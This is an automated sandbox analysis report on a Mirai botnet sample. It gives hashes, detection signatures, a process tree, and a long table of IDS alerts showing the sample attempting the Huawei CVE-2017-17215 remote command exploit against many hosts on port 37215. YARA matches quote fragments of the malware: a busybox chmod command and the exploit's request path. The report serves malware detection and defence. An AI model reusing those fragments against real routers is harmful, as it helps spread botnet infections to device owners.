Create Interactive Tour

Linux Analysis Report
aXyM30sV1V.elf

Overview

General Information

Sample name:	aXyM30sV1V.elf renamed because original name is a hash value
Original sample name:	ac4891600279aceb2b9569aad52bbd62.elf
Analysis ID:	1529291
MD5:	ac4891600279aceb2b9569aad52bbd62
SHA1:	95e6984ab6fd47e20bdaf74a88e3a43a1ae16296
SHA256:	23d8c0f949acb9fde1aceb6b9f638d17ede6397c5ac43200a65413e51ae6b785
Tags:	32elfmiraipowerpc
Infos:

Detection

Mirai

Score:	88
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1529291
Start date and time:	2024-10-08 20:33:56 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	aXyM30sV1V.elf renamed because original name is a hash value
Original Sample Name:	ac4891600279aceb2b9569aad52bbd62.elf
Detection:	MAL
Classification:	mal88.troj.linELF@0/0@1/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Reached maximum number of 1000 Suricata alerts, please consult the 'Suricata Logs'
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: aXyM30sV1V.elf

Runtime Messages

Command:	/tmp/aXyM30sV1V.elf
PID:	5490
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	..:: Nullnet Network ::..
Standard Error:

Process Tree

system is lnxubuntu20

aXyM30sV1V.elf (PID: 5490, Parent: 5412, MD5: ae65271c943d3451b7f026d1fadccea6) Arguments: /tmp/aXyM30sV1V.elf

aXyM30sV1V.elf New Fork (PID: 5492, Parent: 5490)

aXyM30sV1V.elf New Fork (PID: 5494, Parent: 5490)

aXyM30sV1V.elf New Fork (PID: 5496, Parent: 5494)

aXyM30sV1V.elf New Fork (PID: 5498, Parent: 5494)

aXyM30sV1V.elf New Fork (PID: 5502, Parent: 5494)

aXyM30sV1V.elf New Fork (PID: 5503, Parent: 5494)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
aXyM30sV1V.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
aXyM30sV1V.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x119cc:$x2: /bin/busybox chmod 777 * /tmp/ 0x1171c:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Memory Dumps

Source	Rule	Description	Author	Strings
5492.1.00007ff918001000.00007ff918014000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5492.1.00007ff918001000.00007ff918014000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x119cc:$x2: /bin/busybox chmod 777 * /tmp/ 0x1171c:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
5496.1.00007ff918001000.00007ff918014000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5496.1.00007ff918001000.00007ff918014000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x119cc:$x2: /bin/busybox chmod 777 * /tmp/ 0x1171c:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
5490.1.00007ff918001000.00007ff918014000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5490.1.00007ff918001000.00007ff918014000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x119cc:$x2: /bin/busybox chmod 777 * /tmp/ 0x1171c:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Process Memory Space: aXyM30sV1V.elf PID: 5490	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: aXyM30sV1V.elf PID: 5492	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: aXyM30sV1V.elf PID: 5496	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 4 entries

Suricata Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T20:34:47.023352+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52538	41.71.213.174	37215	TCP
2024-10-08T20:34:54.618411+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37268	197.235.13.125	37215	TCP
2024-10-08T20:34:54.754531+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59808	197.129.240.243	37215	TCP
2024-10-08T20:34:55.261394+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57476	197.130.245.62	37215	TCP
2024-10-08T20:34:59.660938+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34024	156.226.59.25	37215	TCP
2024-10-08T20:35:06.363633+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39898	197.169.44.159	37215	TCP
2024-10-08T20:35:06.378418+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52900	197.53.135.75	37215	TCP
2024-10-08T20:35:06.380061+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57252	197.120.159.78	37215	TCP
2024-10-08T20:35:06.384161+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46710	156.136.228.139	37215	TCP
2024-10-08T20:35:06.394888+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50070	41.66.89.207	37215	TCP
2024-10-08T20:35:06.394922+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47660	197.146.79.42	37215	TCP
2024-10-08T20:35:06.398612+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58616	197.75.45.209	37215	TCP
2024-10-08T20:35:06.425540+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36528	41.103.212.117	37215	TCP
2024-10-08T20:35:06.429360+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56320	41.196.1.126	37215	TCP
2024-10-08T20:35:06.429431+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49720	156.74.149.151	37215	TCP
2024-10-08T20:35:06.440682+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52650	197.67.121.133	37215	TCP
2024-10-08T20:35:06.445222+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42110	197.100.85.188	37215	TCP
2024-10-08T20:35:06.456648+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56946	41.200.79.242	37215	TCP
2024-10-08T20:35:06.457366+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39644	197.103.175.106	37215	TCP
2024-10-08T20:35:06.473996+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50072	156.112.111.237	37215	TCP
2024-10-08T20:35:06.476567+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41382	197.139.250.29	37215	TCP
2024-10-08T20:35:06.503935+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60008	156.224.97.47	37215	TCP
2024-10-08T20:35:06.520842+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45858	156.252.34.119	37215	TCP
2024-10-08T20:35:06.521114+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38406	41.171.155.222	37215	TCP
2024-10-08T20:35:06.535645+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52806	156.212.37.239	37215	TCP
2024-10-08T20:35:06.535673+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59484	197.205.151.131	37215	TCP
2024-10-08T20:35:06.537697+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44704	197.47.170.78	37215	TCP
2024-10-08T20:35:06.537697+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40276	41.240.69.60	37215	TCP
2024-10-08T20:35:06.540833+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52058	41.62.139.88	37215	TCP
2024-10-08T20:35:06.556497+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37644	197.242.35.187	37215	TCP
2024-10-08T20:35:06.556497+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60524	197.94.55.209	37215	TCP
2024-10-08T20:35:06.556503+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34346	156.9.173.187	37215	TCP
2024-10-08T20:35:06.556508+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52270	197.114.205.104	37215	TCP
2024-10-08T20:35:06.556531+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49614	156.244.34.40	37215	TCP
2024-10-08T20:35:06.566555+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56960	197.247.144.107	37215	TCP
2024-10-08T20:35:06.567341+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54604	156.139.56.40	37215	TCP
2024-10-08T20:35:06.567370+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39500	156.171.60.191	37215	TCP
2024-10-08T20:35:06.567420+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45862	197.5.175.128	37215	TCP
2024-10-08T20:35:06.567420+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44006	41.228.100.124	37215	TCP
2024-10-08T20:35:06.567636+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59306	197.200.82.162	37215	TCP
2024-10-08T20:35:06.571796+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39048	156.242.157.164	37215	TCP
2024-10-08T20:35:06.571814+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57498	197.240.239.215	37215	TCP
2024-10-08T20:35:06.571823+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39602	41.170.240.154	37215	TCP
2024-10-08T20:35:06.583746+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50606	41.225.209.41	37215	TCP
2024-10-08T20:35:06.588649+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52218	156.43.132.129	37215	TCP
2024-10-08T20:35:06.588653+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33566	156.8.55.141	37215	TCP
2024-10-08T20:35:06.588668+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42376	156.127.1.25	37215	TCP
2024-10-08T20:35:06.603342+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47336	41.61.90.18	37215	TCP
2024-10-08T20:35:06.612723+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37782	41.98.76.2	37215	TCP
2024-10-08T20:35:06.612987+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58274	197.94.191.86	37215	TCP
2024-10-08T20:35:06.617692+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46656	156.210.51.216	37215	TCP
2024-10-08T20:35:06.617734+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51222	41.33.42.250	37215	TCP
2024-10-08T20:35:06.617745+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55218	197.183.193.206	37215	TCP
2024-10-08T20:35:06.618300+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46928	41.102.203.253	37215	TCP
2024-10-08T20:35:06.633116+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52690	156.133.98.88	37215	TCP
2024-10-08T20:35:06.633127+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59484	41.126.15.131	37215	TCP
2024-10-08T20:35:06.633133+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42220	156.211.117.106	37215	TCP
2024-10-08T20:35:06.633149+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55048	156.33.3.166	37215	TCP
2024-10-08T20:35:06.633246+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60220	197.153.188.64	37215	TCP
2024-10-08T20:35:06.637733+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55708	41.237.78.220	37215	TCP
2024-10-08T20:35:06.637733+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36460	41.121.20.163	37215	TCP
2024-10-08T20:35:06.637788+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51186	197.221.227.11	37215	TCP
2024-10-08T20:35:06.637809+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48954	41.50.101.100	37215	TCP
2024-10-08T20:35:06.647809+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53810	156.192.248.123	37215	TCP
2024-10-08T20:35:06.648525+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52950	41.49.156.70	37215	TCP
2024-10-08T20:35:06.653215+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58030	197.138.131.243	37215	TCP
2024-10-08T20:35:06.662570+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37312	156.13.36.43	37215	TCP
2024-10-08T20:35:06.684318+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37110	156.196.97.204	37215	TCP
2024-10-08T20:35:06.692839+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58352	197.118.22.201	37215	TCP
2024-10-08T20:35:06.722627+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37524	41.103.121.35	37215	TCP
2024-10-08T20:35:06.726904+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52512	156.40.104.148	37215	TCP
2024-10-08T20:35:06.726966+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44860	197.59.58.68	37215	TCP
2024-10-08T20:35:06.753602+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42658	156.228.8.25	37215	TCP
2024-10-08T20:35:06.753706+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41538	197.61.130.134	37215	TCP
2024-10-08T20:35:06.754179+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39602	197.3.1.37	37215	TCP
2024-10-08T20:35:06.755341+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59302	156.15.255.64	37215	TCP
2024-10-08T20:35:06.786772+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56478	197.249.177.156	37215	TCP
2024-10-08T20:35:06.786772+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59134	41.233.118.37	37215	TCP
2024-10-08T20:35:07.651170+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59414	156.224.146.131	37215	TCP
2024-10-08T20:35:07.659983+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42768	41.39.101.230	37215	TCP
2024-10-08T20:35:07.676324+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40306	41.32.197.61	37215	TCP
2024-10-08T20:35:07.676964+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38706	197.29.27.45	37215	TCP
2024-10-08T20:35:07.680874+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51342	156.130.3.215	37215	TCP
2024-10-08T20:35:07.681195+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55866	156.68.138.126	37215	TCP
2024-10-08T20:35:07.681441+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50954	41.115.234.247	37215	TCP
2024-10-08T20:35:07.682235+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50966	41.47.159.130	37215	TCP
2024-10-08T20:35:07.682433+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48562	41.202.0.65	37215	TCP
2024-10-08T20:35:07.691720+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44852	41.7.7.103	37215	TCP
2024-10-08T20:35:07.692904+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54588	156.235.39.57	37215	TCP
2024-10-08T20:35:07.695009+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36296	197.90.138.159	37215	TCP
2024-10-08T20:35:07.695347+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57946	41.125.245.240	37215	TCP
2024-10-08T20:35:07.696980+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60804	197.56.8.149	37215	TCP
2024-10-08T20:35:07.697296+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46754	156.151.29.185	37215	TCP
2024-10-08T20:35:07.722755+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49060	156.48.218.124	37215	TCP
2024-10-08T20:35:07.744582+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45258	156.227.235.113	37215	TCP
2024-10-08T20:35:07.753719+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56704	41.11.98.189	37215	TCP
2024-10-08T20:35:07.788695+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39294	156.121.39.131	37215	TCP
2024-10-08T20:35:07.791423+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48064	156.226.176.193	37215	TCP
2024-10-08T20:35:07.799377+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43266	156.228.148.175	37215	TCP
2024-10-08T20:35:07.826723+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45814	41.71.217.122	37215	TCP
2024-10-08T20:35:07.862528+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33334	197.7.221.81	37215	TCP
2024-10-08T20:35:08.706762+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37184	41.93.241.64	37215	TCP
2024-10-08T20:35:08.706840+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33544	156.15.227.166	37215	TCP
2024-10-08T20:35:08.707522+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44002	197.160.183.42	37215	TCP
2024-10-08T20:35:08.708617+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57526	156.198.67.203	37215	TCP
2024-10-08T20:35:09.299824+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58160	197.7.80.57	37215	TCP
2024-10-08T20:35:09.706744+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35676	41.147.107.132	37215	TCP
2024-10-08T20:35:09.722196+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60186	156.15.115.61	37215	TCP
2024-10-08T20:35:09.722438+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48836	41.176.3.251	37215	TCP
2024-10-08T20:35:09.723984+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39942	41.119.100.224	37215	TCP
2024-10-08T20:35:09.724140+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55122	156.211.13.119	37215	TCP
2024-10-08T20:35:09.726166+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39706	156.97.3.108	37215	TCP
2024-10-08T20:35:09.726392+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49784	197.90.154.72	37215	TCP
2024-10-08T20:35:09.726508+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52770	156.74.174.9	37215	TCP
2024-10-08T20:35:09.726525+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59542	41.185.187.78	37215	TCP
2024-10-08T20:35:09.739275+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51720	156.9.1.62	37215	TCP
2024-10-08T20:35:09.742069+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56142	156.144.221.185	37215	TCP
2024-10-08T20:35:09.742156+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49298	41.90.124.245	37215	TCP
2024-10-08T20:35:09.743617+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56276	156.24.184.74	37215	TCP
2024-10-08T20:35:09.744399+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59192	156.215.146.232	37215	TCP
2024-10-08T20:35:09.755496+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57826	41.81.245.124	37215	TCP
2024-10-08T20:35:09.788808+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52094	41.55.5.219	37215	TCP
2024-10-08T20:35:09.802503+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49976	197.71.89.68	37215	TCP
2024-10-08T20:35:09.820436+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42224	156.152.77.121	37215	TCP
2024-10-08T20:35:09.832890+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51834	156.222.230.128	37215	TCP
2024-10-08T20:35:09.866815+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52212	197.153.204.158	37215	TCP
2024-10-08T20:35:12.005757+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50094	156.154.219.215	37215	TCP
2024-10-08T20:35:12.863114+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46284	197.169.47.72	37215	TCP
2024-10-08T20:35:12.864874+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39522	156.93.186.164	37215	TCP
2024-10-08T20:35:12.909586+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33468	197.206.88.239	37215	TCP
2024-10-08T20:35:12.910113+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53274	197.49.62.7	37215	TCP
2024-10-08T20:35:12.911712+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55884	41.243.83.13	37215	TCP
2024-10-08T20:35:12.916702+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55188	197.181.201.71	37215	TCP
2024-10-08T20:35:13.438635+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52482	156.73.157.96	37215	TCP
2024-10-08T20:35:13.880902+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47370	156.22.71.139	37215	TCP
2024-10-08T20:35:13.880902+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49978	197.56.146.34	37215	TCP
2024-10-08T20:35:13.896915+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35124	41.210.137.100	37215	TCP
2024-10-08T20:35:13.897060+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60088	156.155.185.214	37215	TCP
2024-10-08T20:35:13.897065+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35306	156.172.212.115	37215	TCP
2024-10-08T20:35:13.897152+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36092	41.146.184.33	37215	TCP
2024-10-08T20:35:13.897242+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35338	197.200.173.97	37215	TCP
2024-10-08T20:35:13.897373+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40966	41.145.207.152	37215	TCP
2024-10-08T20:35:13.897565+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51278	41.201.10.202	37215	TCP
2024-10-08T20:35:13.897823+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42222	197.115.31.20	37215	TCP
2024-10-08T20:35:13.898985+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34426	156.233.49.226	37215	TCP
2024-10-08T20:35:13.898997+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39694	197.19.239.208	37215	TCP
2024-10-08T20:35:13.900484+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41706	156.212.202.95	37215	TCP
2024-10-08T20:35:13.909604+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43554	156.110.224.192	37215	TCP
2024-10-08T20:35:13.910932+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51932	156.214.68.98	37215	TCP
2024-10-08T20:35:13.911967+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40878	197.10.242.92	37215	TCP
2024-10-08T20:35:13.914324+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42070	41.213.200.73	37215	TCP
2024-10-08T20:35:13.915656+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43118	197.61.137.233	37215	TCP
2024-10-08T20:35:13.916546+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58528	197.78.132.32	37215	TCP
2024-10-08T20:35:13.916588+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43358	156.20.24.103	37215	TCP
2024-10-08T20:35:13.930368+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53188	41.154.117.250	37215	TCP
2024-10-08T20:35:13.930458+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60678	156.100.4.160	37215	TCP
2024-10-08T20:35:13.930766+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52492	156.224.232.229	37215	TCP
2024-10-08T20:35:13.931360+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33352	41.231.143.196	37215	TCP
2024-10-08T20:35:14.770861+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33996	197.234.121.237	37215	TCP
2024-10-08T20:35:14.961293+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34896	197.29.2.213	37215	TCP
2024-10-08T20:35:14.973762+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50980	156.88.55.106	37215	TCP
2024-10-08T20:35:14.974306+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44084	156.191.85.75	37215	TCP
2024-10-08T20:35:14.978101+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40376	41.141.39.137	37215	TCP
2024-10-08T20:35:14.988966+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48376	41.123.118.173	37215	TCP
2024-10-08T20:35:14.992030+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51924	41.253.181.180	37215	TCP
2024-10-08T20:35:15.894338+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37752	156.124.250.23	37215	TCP
2024-10-08T20:35:15.895027+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59892	156.32.183.41	37215	TCP
2024-10-08T20:35:15.909938+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39124	197.84.216.15	37215	TCP
2024-10-08T20:35:15.910039+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53232	197.193.39.52	37215	TCP
2024-10-08T20:35:15.910460+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48208	41.124.133.105	37215	TCP
2024-10-08T20:35:15.910791+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44898	156.36.51.231	37215	TCP
2024-10-08T20:35:15.913738+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38768	156.199.215.78	37215	TCP
2024-10-08T20:35:15.913983+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58854	156.36.221.25	37215	TCP
2024-10-08T20:35:15.913991+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60178	156.223.144.169	37215	TCP
2024-10-08T20:35:15.926367+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44064	156.196.127.99	37215	TCP
2024-10-08T20:35:15.926666+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54588	156.161.55.245	37215	TCP
2024-10-08T20:35:15.941417+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60646	156.184.134.85	37215	TCP
2024-10-08T20:35:15.942859+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51612	156.80.45.236	37215	TCP
2024-10-08T20:35:15.944978+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43924	156.207.208.73	37215	TCP
2024-10-08T20:35:15.957116+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53014	197.118.155.162	37215	TCP
2024-10-08T20:35:15.989889+0200	2835222	1	A Network Trojan was detected	192.168.2.14	32780	41.6.184.55	37215	TCP
2024-10-08T20:35:16.003966+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58410	156.63.48.112	37215	TCP
2024-10-08T20:35:16.005616+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48068	41.206.221.4	37215	TCP
2024-10-08T20:35:16.025189+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53274	156.131.248.248	37215	TCP
2024-10-08T20:35:16.925882+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35418	41.219.111.19	37215	TCP
2024-10-08T20:35:16.925901+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53542	156.125.110.190	37215	TCP
2024-10-08T20:35:16.927135+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58900	156.103.50.200	37215	TCP
2024-10-08T20:35:16.942092+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36322	41.206.217.168	37215	TCP
2024-10-08T20:35:16.956526+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56026	41.114.141.158	37215	TCP
2024-10-08T20:35:16.958645+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41320	156.184.128.75	37215	TCP
2024-10-08T20:35:16.972438+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51876	41.110.87.225	37215	TCP
2024-10-08T20:35:16.993045+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34802	197.42.54.201	37215	TCP
2024-10-08T20:35:17.005561+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42122	197.161.78.217	37215	TCP
2024-10-08T20:35:17.941785+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52562	197.58.175.124	37215	TCP
